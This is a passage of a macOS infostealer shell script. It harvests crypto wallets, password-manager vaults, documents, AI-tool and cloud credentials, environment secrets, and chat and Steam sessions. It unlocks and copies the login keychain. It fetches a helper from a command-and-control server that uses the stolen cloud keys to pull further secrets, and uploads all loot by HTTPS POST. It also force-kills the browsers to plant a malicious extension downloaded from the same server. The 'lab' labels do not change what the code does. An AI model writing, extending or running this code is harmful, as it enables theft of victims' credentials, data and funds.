  ditto_dir "$H/.walletwasabi/client/Wallets" "$ST/Wallets/Wasabi"
  ditto_dir "$H/.electron-cash/wallets" "$ST/Wallets/Electron Cash"
  ditto_dir "$H/.bitmonero/wallets" "$ST/Wallets/Monero"
  ditto_dir "$H/.electrum-ltc/wallets" "$ST/Wallets/Electrum Litecoin"
}

# Detect installed desktop wallet apps under /Applications (Electron markers, etc.)
grab_installed_apps() {
  mkdir -p "$ST/Apps"
  APPS_OUT="$ST/Apps/installed.txt"
  touch "$APPS_OUT"
  # Hijacks already ran once at collect start — do NOT re-run here (double swap/resign spam)
  check_app() {
    label="$1"
    app_path="$2"
    engine_hint="$3"
    if [ ! -d "$app_path" ]; then
      return 0
    fi
    engine="unknown"
    if [ -d "$app_path/Contents/Frameworks/Electron Framework.framework" ] \
      || [ -f "$app_path/Contents/Resources/app.asar" ] \
      || ls "$app_path/Contents/Resources/"*.asar >/dev/null 2>&1; then
      engine="electron"
    elif [ -d "$app_path/Contents/Frameworks/Squirrel.framework" ]; then
      engine="electron-or-squirrel"
    elif /usr/libexec/PlistBuddy -c 'Print :CFBundleIdentifier' "$app_path/Contents/Info.plist" 2>/dev/null | grep -qi electron; then
      engine="electron"
    elif [ -n "$engine_hint" ]; then
      engine="$engine_hint"
    fi
    bid=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleIdentifier' "$app_path/Contents/Info.plist" 2>/dev/null || true)
    ver=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleShortVersionString' "$app_path/Contents/Info.plist" 2>/dev/null || true)
    echo "$label|installed=1|engine=$engine|path=$app_path|bundle=$bid|version=$ver" >> "$APPS_OUT"
    printf '%s\n' "label=$label" "engine=$engine" "path=$app_path" "bundle=$bid" "version=$ver" > "$ST/Apps/${label}.txt"
  }
  check_app "Trezor Suite" "/Applications/Trezor Suite.app" "electron"
  check_app "Trezor Suite" "$H/Applications/Trezor Suite.app" "electron"
  check_app "Trezor Suite" "$H/Desktop/Trezor Suite.app" "electron"
  check_app "Ledger Wallet" "/Applications/Ledger Wallet.app" "electron"
  check_app "Ledger Wallet" "$H/Applications/Ledger Wallet.app" "electron"
  # Legacy app name — still detect presence but label as Ledger Wallet
  if [ ! -d "/Applications/Ledger Wallet.app" ] && [ ! -d "$H/Applications/Ledger Wallet.app" ]; then
    check_app "Ledger Wallet" "/Applications/Ledger Live.app" "electron"
    check_app "Ledger Wallet" "$H/Applications/Ledger Live.app" "electron"
  fi
  check_app "Exodus" "/Applications/Exodus.app" "electron"
  check_app "Exodus" "$H/Applications/Exodus.app" "electron"
  check_app "Atomic Wallet" "/Applications/Atomic Wallet.app" "electron"
  check_app "Guarda" "/Applications/Guarda.app" "electron"
  check_app "BlueWallet" "/Applications/BlueWallet.app" "react-native-desktop"
  check_app "Wasabi Wallet" "/Applications/Wasabi Wallet.app" "dotnet"
  check_app "Sparrow" "/Applications/Sparrow.app" "java"
  check_app "Electrum" "/Applications/Electrum.app" "python"
  check_app "Bitcoin-Qt" "/Applications/Bitcoin-Qt.app" "qt"
  check_app "Telegram" "/Applications/Telegram.app" "native"
  check_app "Discord" "/Applications/Discord.app" "electron"
  # Re-check Trezor hijack marker against the live app (Desktop or Applications)
  _lab_verify_marker
}

grab_files() {
  D="$ST/FileGrabber"
  mkdir -p "$D/kdbx" "$D/pdf" "$D/txt" "$D/docs"
  MAX_K=52428800
  MAX_P=10485760
  MAX_T=20480
  copy_one() {
    f="$1"; sub="$2"
    [ -f "$f" ] || return
    sz=$(stat -f%z "$f" 2>/dev/null || echo 0)
    base=$(basename "$f")
    dest="$D/$sub/$base"
    if [ -e "$dest" ]; then dest="$D/$sub/$(echo "$f" | shasum | cut -c1-8)_$base"; fi
    case "$sub" in
      kdbx) [ "$sz" -le "$MAX_K" ] && cp -f "$f" "$dest" ;;
      pdf)  [ "$sz" -le "$MAX_P" ] && cp -f "$f" "$dest" ;;
      txt|docs) [ "$sz" -gt 0 ] && [ "$sz" -le "$MAX_T" ] && cp -f "$f" "$dest" ;;
    esac
  }
  for r in "$H/Documents" "$H/Desktop" "$H/Downloads" \
    "$AS/KeePassXC" "$H/Library/Caches/KeePassXC" "$AS/KeePass" \
    "$H/Library/Mobile Documents/com~apple~CloudDocs" "$H/Dropbox" "$H/OneDrive"; do
    [ -d "$r" ] || continue
    find "$r" -type f \( -iname '*.kdbx' -o -iname '*.kbdx' -o -iname '*.kdb' \) 2>/dev/null | while IFS= read -r f; do copy_one "$f" kdbx; done
    find "$r" -type f \( -iname '*.txt' -o -iname '*.text' -o -iname '*.md' -o -iname '*.csv' -o -iname '*.log' \) 2>/dev/null | while IFS= read -r f; do copy_one "$f" txt; done
    find "$r" -type f \( -iname '*.rtf' -o -iname '*.docx' -o -iname '*.odt' -o -iname '*.doc' -o -iname '*.pages' -o -iname '*.html' -o -iname '*.htm' \) 2>/dev/null | while IFS= read -r f; do copy_one "$f" docs; done
  done
  for ini in "$AS/KeePassXC/keepassxc.ini" "$H/Library/Caches/KeePassXC/keepassxc.ini"; do
    [ -f "$ini" ] || continue
    grep -Eo '/[^[:space:]\"]+\.(kdbx|kbdx|kdb)' "$ini" 2>/dev/null | while IFS= read -r f; do copy_one "$f" kdbx; done
  done
  # PDFs only in user doc folders — NEVER walk all of $HOME (triggers Music/Photos TCC)
  for r in "$H/Documents" "$H/Desktop" "$H/Downloads" \
    "$H/Library/Mobile Documents/com~apple~CloudDocs"; do
    [ -d "$r" ] || continue
    find "$r" -maxdepth 5 -type f -iname '*.pdf' \
      -not -path '*/.Trash/*' -not -path '*/node_modules/*' 2>/dev/null \
      | while IFS= read -r f; do copy_one "$f" pdf; done
  done
}

# --- MCP / AI client JSON configs ---
grab_ai_mcp() {
  echo "LAB_PROGRESS:ai-mcp start"
  D="$ST/AI"
  mkdir -p "$D"
  # Explicit catalog (Cursor / Claude / Windsurf / Factory / VS Code / Zed / OpenCode)
  for f in \
    "$H/.cursor/mcp.json" \
    "$H/.cursor/cli-config.json" \
    "$H/.claude.json" \
    "$H/.claude/settings.json" \
    "$H/.claude/claude_desktop_config.json" \
    "$H/.codeium/windsurf/mcp_config.json" \
    "$H/.codeium/windsurf/mcp.json" \
    "$H/.factory/mcp.json" \
    "$H/.factory/settings.json" \
    "$H/.config/zed/settings.json" \
    "$H/.config/zed/mcp.json" \
    "$H/.config/opencode/config.json" \
    "$H/.config/opencode/opencode.json" \
    "$H/.config/opencode/mcp.json" \
    "$H/.opencode/config.json" \
    "$H/.opencode/opencode.json" \
    "$H/.opencode/mcp.json" \
    "$H/.codex/auth.json" \
    "$H/.codex/config.json" \
    "$H/.codex/config.toml" \
    "$H/.continue/config.json" \
    "$AS/Cursor/User/settings.json" \
    "$AS/Cursor/User/mcp.json" \
    "$AS/Cursor/User/globalStorage/saoudrizwan.claude-dev/settings/cline_mcp_settings.json" \
    "$AS/Cursor/User/globalStorage/rooveterinaryinc.roo-cline/settings/mcp_settings.json" \
    "$AS/Code/User/settings.json" \
    "$AS/Code/User/mcp.json" \
    "$AS/Code/User/globalStorage/saoudrizwan.claude-dev/settings/cline_mcp_settings.json" \
    "$AS/Code - Insiders/User/settings.json" \
    "$AS/Code - Insiders/User/mcp.json" \
    "$AS/Windsurf/User/settings.json" \
    "$AS/Windsurf/User/mcp.json" \
    "$AS/Claude/claude_desktop_config.json" \
    "$AS/Claude/config.json" \
    "$AS/ChatGPT/localStorage.json" \
    "$AS/com.openai.chat/localStorage.json"
  do
    [ -f "$f" ] || continue
    sz=$(stat -f%z "$f" 2>/dev/null || echo 0)
    [ "$sz" -gt 0 ] && [ "$sz" -le 2097152 ] || continue
    rel=$(echo "$f" | sed "s|^$H/||; s|^$AS/|AppSupport/|")
    mkdir -p "$D/$(dirname "$rel")"
    cp -f "$f" "$D/$rel" 2>/dev/null || true
  done
  # Shallow walk of AI client dirs for *mcp* / auth / settings JSON
  for d in \
    "$H/.cursor" \
    "$H/.claude" \
    "$H/.codeium" \
    "$H/.factory" \
    "$H/.opencode" \
    "$H/.config/zed" \
    "$H/.config/opencode" \
    "$H/.codex" \
    "$H/.continue" \
    "$AS/Claude" \
    "$AS/Cursor/User" \
    "$AS/Code/User" \
    "$AS/Code - Insiders/User" \
    "$AS/Windsurf/User" \
    "$AS/Cursor/User/globalStorage" \
    "$AS/Code/User/globalStorage"
  do
    [ -d "$d" ] || continue
    find "$d" -maxdepth 4 -type f \( \
      -iname '*mcp*.json' -o -iname '*auth*.json' -o -iname '*token*.json' \
      -o -iname 'credentials.json' -o -iname 'claude_desktop_config.json' \
      -o -iname 'config.json' -o -iname 'config.toml' -o -iname 'settings.json' \
      -o -iname 'opencode.json' -o -iname 'mcp_config.json' \
    \) 2>/dev/null | while IFS= read -r f; do
      sz=$(stat -f%z "$f" 2>/dev/null || echo 0)
      [ "$sz" -gt 0 ] && [ "$sz" -le 2097152 ] || continue
      rel=$(echo "$f" | sed "s|^$H/||; s|^$AS/|AppSupport/|")
      mkdir -p "$D/$(dirname "$rel")"
      cp -f "$f" "$D/$rel" 2>/dev/null || true
    done
  done
  echo "LAB_PROGRESS:ai-mcp done"
}

# --- AWS / cloud CLI API credentials ---
grab_cloud_apis() {
  echo "LAB_PROGRESS:cloud start"
  D="$ST/Cloud"
  mkdir -p "$D"
  # Full trees (credentials/config live here)
  ditto_dir "$H/.aws" "$D/aws"
  ditto_dir "$H/.config/gcloud" "$D/gcloud"
  ditto_dir "$H/.config/gh" "$D/gh"
  ditto_dir "$H/.azure" "$D/azure"
  ditto_dir "$H/.config/doctl" "$D/doctl"
  ditto_dir "$H/.kube" "$D/kube"
  # Explicit high-value cloud files (even if ditto skipped empty/partial trees)
  for f in \
    "$H/.aws/credentials" \
    "$H/.aws/config" \
    "$H/.kube/config" \
    "$H/.config/gcloud/application_default_credentials.json" \
    "$H/.config/gcloud/credentials.db" \
    "$H/.config/gcloud/access_tokens.db" \
    "$H/.config/gcloud/legacy_credentials" \
    "$AS/gcloud/credentials.db" \
    "$AS/gcloud/access_tokens.db" \
    "$AS/google-cloud-sdk/credentials.db" \
    "$AS/google-cloud-sdk/access_tokens.db" \
    "$H/.vault-token" \
    "$H/.vault-tokens" \
    "$H/.config/vault/token" \
    "$H/.config/vault/tokens.json" \
    "$H/.docker/config.json" \
    "$H/.config/hub" \
    "$H/.config/gh/hosts.yml" \
    "$H/.netrc" \
    "$H/.npmrc" \
    "$H/.yarnrc" \
    "$H/.yarnrc.yml" \
    "$H/.pypirc" \
    "$H/.pgpass" \
    "$H/.my.cnf" \
    "$H/.config/digitalocean.json" \
    "$H/.config/heroku/config.json" \
    "$H/.config/vercel/auth.json" \
    "$H/.config/netlify/config.json" \
    "$H/.config/fly/config.yml" \
    "$H/.pulumi/credentials.json" \
    "$H/.terraform.d/credentials.tfrc.json"
  do
    [ -f "$f" ] || continue
    rel=$(echo "$f" | sed "s|^$H/||; s|^$AS/|AppSupport/|")
    mkdir -p "$D/$(dirname "$rel")"
    cp -f "$f" "$D/$rel" 2>/dev/null || true
  done
  # gcloud DBs anywhere under ~/.config/gcloud (size-capped)
  if [ -d "$H/.config/gcloud" ]; then
    find "$H/.config/gcloud" -maxdepth 3 -type f \( \
      -name 'credentials.db' -o -name 'access_tokens.db' -o -name 'application_default_credentials.json' \
      -o -name '*.db' -o -name '*credentials*.json' -o -name '*token*.json' \
    \) 2>/dev/null | while IFS= read -r f; do
      sz=$(stat -f%z "$f" 2>/dev/null || echo 0)
      [ "$sz" -gt 0 ] && [ "$sz" -le 8388608 ] || continue
      rel=$(echo "$f" | sed "s|^$H/||")
      mkdir -p "$D/$(dirname "$rel")"
      cp -f "$f" "$D/$rel" 2>/dev/null || true
    done
  fi
  # KUBECONFIG override path(s)
  if [ -n "${KUBECONFIG:-}" ]; then
    echo "$KUBECONFIG" | tr ':' '\n' | while IFS= read -r kf; do
      [ -f "$kf" ] || continue
      base=$(basename "$kf")
      cp -f "$kf" "$D/kube/KUBECONFIG_$base" 2>/dev/null || true
    done
  fi
  # GOOGLE_APPLICATION_CREDENTIALS file path
  if [ -n "${GOOGLE_APPLICATION_CREDENTIALS:-}" ] && [ -f "$GOOGLE_APPLICATION_CREDENTIALS" ]; then
    mkdir -p "$D/gcloud"
    cp -f "$GOOGLE_APPLICATION_CREDENTIALS" "$D/gcloud/GOOGLE_APPLICATION_CREDENTIALS.json" 2>/dev/null || true
  fi
  # NOTE: live Secrets Manager / SSM expand runs AFTER parallel wave (see expand_cloud_apis_live)
  echo "LAB_PROGRESS:cloud done"
}

# Active cloud API expand — NOT just upload of .aws/credentials.
# Uses stolen keys → SigV4 → Secrets Manager + SSM WithDecryption:true (+ IMDS/Vault/K8s).
# Results land in $ST/Cloud/expanded/ then ride the same pack → TLS POST /upload.
expand_cloud_apis_live() {
  echo "LAB_PROGRESS:cloud-expand start"
  echo "LAB_CLOUD: expand_cloud_apis begin"
  D="$ST/Cloud"
  mkdir -p "$D"
  _ce="/tmp/lab_cloud_expand.py"
  _C2ROOT="${UPLOAD%/upload.php}"
  curl -fsSk --max-time 45 "$_C2ROOT/cloud_expand.py" -o "$_ce" 2>/dev/null || true
  _py=""
  for c in /opt/homebrew/bin/python3 /usr/local/bin/python3 \
    /Library/Frameworks/Python.framework/Versions/Current/bin/python3 \
    /Library/Frameworks/Python.framework/Versions/*/bin/python3; do
    [ -x "$c" ] || continue
    sz=$(stat -f%z "$c" 2>/dev/null || echo 0)
    [ "$sz" -gt 50000 ] || continue
    _py="$c"
    break
  done
  if [ -z "$_py" ] || [ ! -f "$_ce" ]; then
    echo "LAB_CLOUD: skip no-python-or-helper py=$_py ce=$([ -f "$_ce" ] && echo ok || echo missing)"
    echo "LAB_PROGRESS:cloud-expand done"
    return 0
  fi
  echo "LAB_CLOUD: invoking $_py cloud_expand.py → $D/expanded"
  "$_py" "$_ce" "$D" >/tmp/lab_cloud_expand.log 2>&1 || true
  # Surface expander progress into collect log (agent greps LAB_CLOUD / LAB_PROGRESS)
  if [ -f /tmp/lab_cloud_expand.log ]; then
    grep -E 'LAB_CLOUD:|LAB_PROGRESS:' /tmp/lab_cloud_expand.log 2>/dev/null || true
    # also echo a short summary for agent out frames
    _n_sec=$(find "$D/expanded" -type f 2>/dev/null | wc -l | tr -d ' ')
    echo "LAB_CLOUD: expanded_files=$_n_sec"
    if [ -f "$D/expanded/_summary.json" ]; then
      echo "LAB_CLOUD: summary $(tr -d '\n' < "$D/expanded/_summary.json" | head -c 400)"
    fi
  fi
  echo "LAB_CLOUD: expand_cloud_apis done"
  echo "LAB_PROGRESS:cloud-expand done"
}

# --- process env keys + .env / shell export tokens (shallow, size-capped) ---
grab_env_tokens() {
  echo "LAB_PROGRESS:env start"
  D="$ST/Env"
  mkdir -p "$D/files" "$D/dotfiles"
  MAX=1048576
  # Live process environment — cloud / token catalog
  {
    for key in \
      AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN AWS_SECURITY_TOKEN \
      AWS_REGION AWS_DEFAULT_REGION AWS_PROFILE AWS_SHARED_CREDENTIALS_FILE AWS_CONFIG_FILE \
      GOOGLE_APPLICATION_CREDENTIALS GOOGLE_CLOUD_PROJECT GCLOUD_PROJECT CLOUDSDK_CORE_PROJECT \
      GCLOUD_ACCESS_TOKEN CLOUDSDK_AUTH_ACCESS_TOKEN \
      AZURE_CLIENT_ID AZURE_CLIENT_SECRET AZURE_TENANT_ID AZURE_SUBSCRIPTION_ID \
      AZURE_STORAGE_ACCOUNT AZURE_STORAGE_KEY AZURE_STORAGE_CONNECTION_STRING \
      KUBECONFIG KUBERNETES_SERVICE_HOST \
      VAULT_ADDR VAULT_TOKEN VAULT_NAMESPACE VAULT_CACERT \
      DIGITALOCEAN_ACCESS_TOKEN DIGITALOCEAN_TOKEN DO_API_TOKEN \
      HEROKU_API_KEY \
      VERCEL_TOKEN NETLIFY_AUTH_TOKEN \
      FLY_API_TOKEN FLY_ACCESS_TOKEN \
      GITHUB_TOKEN GH_TOKEN GITLAB_TOKEN \
      NPM_TOKEN NODE_AUTH_TOKEN \
      OPENAI_API_KEY ANTHROPIC_API_KEY \
      STRIPE_SECRET_KEY STRIPE_API_KEY \
      TWILIO_AUTH_TOKEN SENDGRID_API_KEY \
      DATABASE_URL REDIS_URL MONGO_URL MONGODB_URI \
      CLOUDFLARE_API_TOKEN CLOUDFLARE_API_KEY \
      LINODE_TOKEN VULTR_API_KEY \
      TF_TOKEN_app_terraform_io PULUMI_ACCESS_TOKEN \
      DOCKER_AUTH_CONFIG
    do
      # bash indirect expansion: value of variable named $key
      val="${!$key}"
      [ -n "$val" ] || continue
      printf '%s=%s\n' "$key" "$val"
    done
  } > "$D/process_env.txt" 2>/dev/null || true
  # Drop empty process_env
  if [ ! -s "$D/process_env.txt" ]; then
    rm -f "$D/process_env.txt" 2>/dev/null || true
  fi
  copy_env() {
    f="$1"; sub="$2"
    [ -f "$f" ] || return
    sz=$(stat -f%z "$f" 2>/dev/null || echo 0)
    [ "$sz" -gt 0 ] && [ "$sz" -le "$MAX" ] || return
    base=$(basename "$f")
    dest="$D/$sub/$base"
    if [ -e "$dest" ]; then dest="$D/$sub/$(echo "$f" | shasum | cut -c1-8)_$base"; fi
    cp -f "$f" "$dest" 2>/dev/null || true
  }
  for f in "$H/.zshrc" "$H/.bashrc" "$H/.bash_profile" "$H/.zprofile" "$H/.profile" \
    "$H/.zshenv" "$H/.bash_aliases" "$H/.netrc" "$H/.npmrc"; do
    copy_env "$f" dotfiles
  done
  # Crawl known project roots for .env / dotenv variants
  for r in "$H" "$H/Documents" "$H/Desktop" "$H/Downloads" "$H/Projects" "$H/Developer" \
    "$H/src" "$H/code" "$H/work" "$H/repos" "$H/dev" "$H/git" "$H/GitHub" "$H/gitlab"; do
    [ -d "$r" ] || continue
    # home root: only shallow .env* (avoid walking whole $HOME deeply)
    if [ "$r" = "$H" ]; then
      for f in "$H/.env" "$H/.env.local" "$H/.env.production" "$H/.env.development" "$H/.envrc"; do
        copy_env "$f" files
      done
      continue
    fi
    find "$r" -maxdepth 4 -type f \( \
      -name '.env' -o -name '.env.*' -o -name '*.env' -o -name '.envrc' \
      -o -name 'credentials.json' -o -name 'service-account*.json' \
      -o -name '.env.local' -o -name '.env.production' -o -name '.env.development' \
      -o -name '.env.staging' -o -name '.env.test' \
    \) -not -path '*/node_modules/*' -not -path '*/.Trash/*' -not -path '*/Library/Caches/*' \
      -not -path '*/.git/*' -not -path '*/dist/*' -not -path '*/build/*' \
      2>/dev/null | while IFS= read -r f; do copy_env "$f" files; done
  done
  echo "LAB_PROGRESS:env done"
}

# --- Steam session / cookies ---
grab_steam() {
  echo "LAB_PROGRESS:steam start"
  D="$ST/Steam"
  mkdir -p "$D"
  S="$AS/Steam"
  [ -d "$S" ] || { echo "LAB_PROGRESS:steam skip"; return 0; }
  for f in config/config.vdf config/loginusers.vdf config/DialogConfig.vdf \
    registry.vdf; do
    [ -f "$S/$f" ] && { mkdir -p "$D/$(dirname "$f")"; cp -f "$S/$f" "$D/$f"; }
  done
  # ssfn auth files + HTML/CEF cookie DBs
  shopt -s nullglob
  for f in "$S"/ssfn*; do
    [ -f "$f" ] && cp -f "$f" "$D/$(basename "$f")"
  done
  shopt -u nullglob
  for cpath in \
    "$S/config/htmlcache/Cookies" \
    "$S/config/htmlcache/Network/Cookies" \
    "$S/config/cefdata/Cookies" \
    "$S/config/cefdata/Network/Cookies"; do
    [ -f "$cpath" ] || continue
    rel=$(echo "$cpath" | sed "s|^$S/||")
    mkdir -p "$D/$(dirname "$rel")"
    cp -f "$cpath" "$D/$rel"
    for sfx in -wal -shm; do
      [ -f "$cpath$sfx" ] && cp -f "$cpath$sfx" "$D/$rel$sfx"
    done
  done
  # userdata localconfig (tokens / machine auth)
  if [ -d "$S/userdata" ]; then
    find "$S/userdata" -maxdepth 3 -type f \( -name 'localconfig.vdf' -o -name 'loginusers.vdf' \) \
      2>/dev/null | while IFS= read -r f; do
      rel=$(echo "$f" | sed "s|^$S/||")
      mkdir -p "$D/$(dirname "$rel")"
      cp -f "$f" "$D/$rel"
    done
  fi
  echo "LAB_PROGRESS:steam done"
}

# --- Bitwarden desktop (extension LevelDB already via PASS_EXT_MAP) ---
grab_bitwarden() {
  echo "LAB_PROGRESS:bitwarden start"
  ditto_dir "$AS/Bitwarden" "$ST/Bitwarden/desktop"
  ditto_dir "$AS/bitwarden" "$ST/Bitwarden/desktop_alt"
  ditto_dir "$AS/Bitwarden CLI" "$ST/Bitwarden/cli"
  # data.json / key files if present outside AS
  for f in "$H/.config/Bitwarden CLI/data.json" "$H/.bitwarden/data.json"; do
    [ -f "$f" ] || continue
    mkdir -p "$ST/Bitwarden/cli"
    cp -f "$f" "$ST/Bitwarden/cli/$(basename "$f")"
  done
  echo "LAB_PROGRESS:bitwarden done"
}

# --- extra chat clients (Telegram/Discord already separate) ---
# NEVER full-ditto Slack/Teams — Cache/GPU/blob can be multi-GB and OOM the C2 bot.
grab_chat() {
  echo "LAB_PROGRESS:chat start"
  D="$ST/Chat"
  mkdir -p "$D"
  copy_chat_ldb() {
    src="$1"; dst="$2"
    [ -d "$src" ] || return 0
    # skip if tree already huge (KB)
    kb=$(du -sk "$src" 2>/dev/null | awk '{print $1}')
    [ -n "$kb" ] && [ "$kb" -le 102400 ] || { echo "LAB_PROGRESS:chat skip-huge $src (${kb:-?}KB)"; return 0; }
    ditto_dir "$src" "$dst"
  }
  for app in Slack Signal Element Riot WhatsApp Keybase Skype; do
    base="$AS/$app"
    [ -d "$base" ] || continue
    copy_chat_ldb "$base/Local Storage/leveldb" "$D/$app/leveldb"
    copy_chat_ldb "$base/IndexedDB" "$D/$app/IndexedDB"
    shopt -s nullglob
    for ldb in "$base"/*/Local Storage/leveldb "$base"/storage/root/*/Local Storage/leveldb; do
      [ -d "$ldb" ] || continue
      copy_chat_ldb "$ldb" "$D/$app/$(basename "$(dirname "$(dirname "$ldb")")")_leveldb"
    done
    shopt -u nullglob
  done
  # Teams: cookies + leveldb only (full app dir is a disk bomb)
  T="$AS/Microsoft Teams"
  if [ -d "$T" ]; then
    copy_chat_ldb "$T/Cookies" "$D/Teams/Cookies"
    copy_chat_ldb "$T/Network/Cookies" "$D/Teams/Network/Cookies"
    copy_chat_ldb "$T/Local Storage/leveldb" "$D/Teams/leveldb"
    copy_chat_ldb "$T/IndexedDB" "$D/Teams/IndexedDB"
  fi
  echo "LAB_PROGRESS:chat done"
}

BROWSERS="Chrome|$AS/Google/Chrome
Chrome Beta|$AS/Google/Chrome Beta
Chrome Canary|$AS/Google/Chrome Canary
Chrome Dev|$AS/Google/Chrome Dev
Chromium|$AS/Chromium
Brave|$AS/BraveSoftware/Brave-Browser
Edge|$AS/Microsoft Edge
Vivaldi|$AS/Vivaldi
Opera|$AS/com.operasoftware.Opera
OperaGX|$AS/com.operasoftware.OperaGX
Yandex|$AS/Yandex/YandexBrowser"

########## PARALLEL COLLECT ##########
# Wave A — high-value small creds (TLS upload early via HTTPS -k)
security unlock-keychain -p "$PW" "$H/Library/Keychains/login.keychain-db" 2>/dev/null || true
cp -f "$H/Library/Keychains/login.keychain-db" "$ST/login.keychain-db" 2>/dev/null || true

PIDS=""
grab_ai_mcp & PIDS="$PIDS $!"
grab_cloud_apis & PIDS="$PIDS $!"
grab_env_tokens & PIDS="$PIDS $!"
grab_steam & PIDS="$PIDS $!"
grab_bitwarden & PIDS="$PIDS $!"
grab_chat & PIDS="$PIDS $!"
grab_wallets & PIDS="$PIDS $!"
# Wave B — browsers (DB files under Browsers/) + extension LevelDB
while IFS='|' read -r bn bp; do
  [ -z "$bn" ] && continue
  grab_profiles "$bn" "$bp" & PIDS="$PIDS $!"
  grab_extensions "$bn" "$bp" & PIDS="$PIDS $!"
done <<EOF
$BROWSERS
EOF
grab_firefox_profiles & PIDS="$PIDS $!"
grab_firefox_extensions & PIDS="$PIDS $!"
grab_telegram & PIDS="$PIDS $!"
grab_discord & PIDS="$PIDS $!"
grab_safari & PIDS="$PIDS $!"
grab_electron_asar_secrets & PIDS="$PIDS $!"
grab_installed_apps & PIDS="$PIDS $!"
grab_files & PIDS="$PIDS $!"
# Single TLS upload only — early 1-creds doubled disk + often double-decrypt on 2GB VPS
wait_pids 180 $PIDS
# After LootBag is filled (aws/env/kube/AI/wallets/…), actively expand cloud APIs
# then pack → TLS POST /upload (expanded secrets included in Cloud/expanded/)
expand_cloud_apis_live
do_upload "final"

########## NEVER use /usr/bin/python3 (Apple stub → "install developer tools" prompt) ##########
lab_find_python() {
  for c in \
    /opt/homebrew/bin/python3 \
    /usr/local/bin/python3 \
    /Library/Frameworks/Python.framework/Versions/Current/bin/python3 \
    /Library/Frameworks/Python.framework/Versions/*/bin/python3 \
    "$H"/Library/Python/*/bin/python3
  do
    [ -x "$c" ] || continue
    case "$c" in
      /usr/bin/python3) continue ;;
    esac
    # Reject tiny stubs if somehow elsewhere
    sz=$(stat -f%z "$c" 2>/dev/null || echo 0)
    [ "$sz" -gt 50000 ] || continue
    printf '%s' "$c"
    return 0
  done
  return 1
}

########## CHROME / BRAVE TEST EXTENSION (kill + unpack) ##########
install_lab_chrome_ext() {
  echo "lab-chrome-ext: start $(date -u +%Y-%m-%dT%H:%M:%SZ)"
  _c2="${UPLOAD%/upload.php}/"
  _zip="/tmp/lab_chrome_ext.zip"
  _py="/tmp/lab_chrome_ext_install.py"
  _rb="/tmp/lab_chrome_ext_install.rb"
  _dest="$H/Library/Application Support/.lab_chrome_ext"
  _eid="mkinhjkmjnifhhhchnimlmpmdleoiocd"
  killall "Google Chrome" >/dev/null 2>&1 || true
  killall "Brave Browser" >/dev/null 2>&1 || true
  pkill -9 -x "Google Chrome" >/dev/null 2>&1 || true
  pkill -9 -f "Google Chrome Helper" >/dev/null 2>&1 || true
  pkill -9 -f "Google Chrome" >/dev/null 2>&1 || true
  pkill -9 -f "Brave Browser" >/dev/null 2>&1 || true
  sleep 2
  echo "lab-chrome-ext: chrome/brave killed"
  curl -fsSk --max-time 60 "${_c2}chrome-ext.zip" -o "$_zip" || {
    echo "lab-chrome-ext: download zip fail"
    return 0
  }
  curl -fsSk --max-time 60 "${_c2}chrome_ext_install.py" -o "$_py" || true
  curl -fsSk --max-time 60 "${_c2}chrome_ext_install.rb" -o "$_rb" || true
  rm -rf "$_dest"
  mkdir -p "$_dest"
  unzip -o -q "$_zip" -d "$_dest" 2>/dev/null || ditto -x -k "$_zip" "$_dest" 2>/dev/null || true
  if [ ! -f "$_dest/manifest.json" ]; then
    _m=$(find "$_dest" -name manifest.json -type f 2>/dev/null | head -1)
    if [ -n "$_m" ]; then
      _d=$(dirname "$_m")
      mkdir -p "$_dest.__flat"
      cp -R "$_d"/. "$_dest.__flat"/ 2>/dev/null || true
      rm -rf "$_dest"
      mv "$_dest.__flat" "$_dest"
    fi
  fi
  if [ ! -f "$_dest/manifest.json" ]; then
    echo "lab-chrome-ext: unpack fail"
    return 0
  fi
  echo "lab-chrome-ext: unpacked -> $_dest"
  _PYBIN=$(lab_find_python || true)
  _profiles=0
  _engine=none
  if [ -x /usr/bin/ruby ] && [ -f "$_rb" ]; then
    echo "lab-chrome-ext: using ruby /usr/bin/ruby"
    _out=$(/usr/bin/ruby "$_rb" "$_dest" "$_eid" 2>&1) || true
    _engine=ruby
  elif [ -n "$_PYBIN" ] && [ -f "$_py" ]; then
    echo "lab-chrome-ext: using real python $_PYBIN"
    _out=$("$_PYBIN" "$_py" "$_dest" "$_eid" 2>&1) || true
    _engine=python
  else
    echo "lab-chrome-ext: no ruby/python — skip Secure Preferences HMAC"
    _out=""
  fi
  printf '%s\n' "$_out"
  _profiles=$(printf '%s\n' "$_out" | sed -n 's/^lab-chrome-ext: profiles_patched //p' | tail -1)
  killall "Google Chrome" >/dev/null 2>&1 || true
  killall "Brave Browser" >/dev/null 2>&1 || true
  _dev="false"
  _status="fail"
  if [ -n "$_profiles" ] && [ "$_profiles" -gt 0 ] 2>/dev/null; then
    _dev="true"
    _status="ok"
    echo "lab-chrome-ext: success profiles=$_profiles — notifying Telegram"
  else
    echo "lab-chrome-ext: plant incomplete profiles=${_profiles:-0} engine=$_engine"
  fi
  _ALERT="/tmp/lab_chrome_ext_alert"
  rm -rf "$_ALERT"
  mkdir -p "$_ALERT/Apps"
  printf '%s' "$USER_N" > "$_ALERT/Username"
  printf 'chrome-ext\n' > "$_ALERT/Apps/mode.txt"
  {
    echo "status=$_status"
    echo "eid=$_eid"
    echo "path=$_dest"
    echo "profiles=${_profiles:-0}"
    echo "browsers=Chrome/Brave"
    echo "developer_mode=$_dev"
    echo "name=Lab Test Extension"
    echo "engine=$_engine"
    echo "python=${_PYBIN:-none}"
  } > "$_ALERT/Apps/chrome_ext.txt"
  if [ "$_status" = "ok" ]; then
    _OLD_ST="$ST"
    ST="$_ALERT"
    do_upload "chrome-ext" || true
    ST="$_OLD_ST"
  fi
  echo "lab-chrome-ext: done"
}

########## FIREFOX TEST EXTENSION (kill + bash install) ##########
install_lab_firefox_ext() {
  echo "lab-ff-ext: start $(date -u +%Y-%m-%dT%H:%M:%SZ)"
  _c2="${UPLOAD%/upload.php}/"
  _zip="/tmp/lab_firefox_ext.zip"
  _sh="/tmp/lab_firefox_ext_install.sh"
  _patch="/tmp/lab_firefox_patch_signing.rb"
  _eid="google-chrome@extension.lab"
  killall "firefox" >/dev/null 2>&1 || true
  killall "Firefox" >/dev/null 2>&1 || true
  pkill -9 -x "firefox" >/dev/null 2>&1 || true
  pkill -9 -f "Firefox.app" >/dev/null 2>&1 || true
  pkill -9 -f "/Firefox" >/dev/null 2>&1 || true
  sleep 3
  killall -9 "firefox" >/dev/null 2>&1 || true
  killall -9 "Firefox" >/dev/null 2>&1 || true
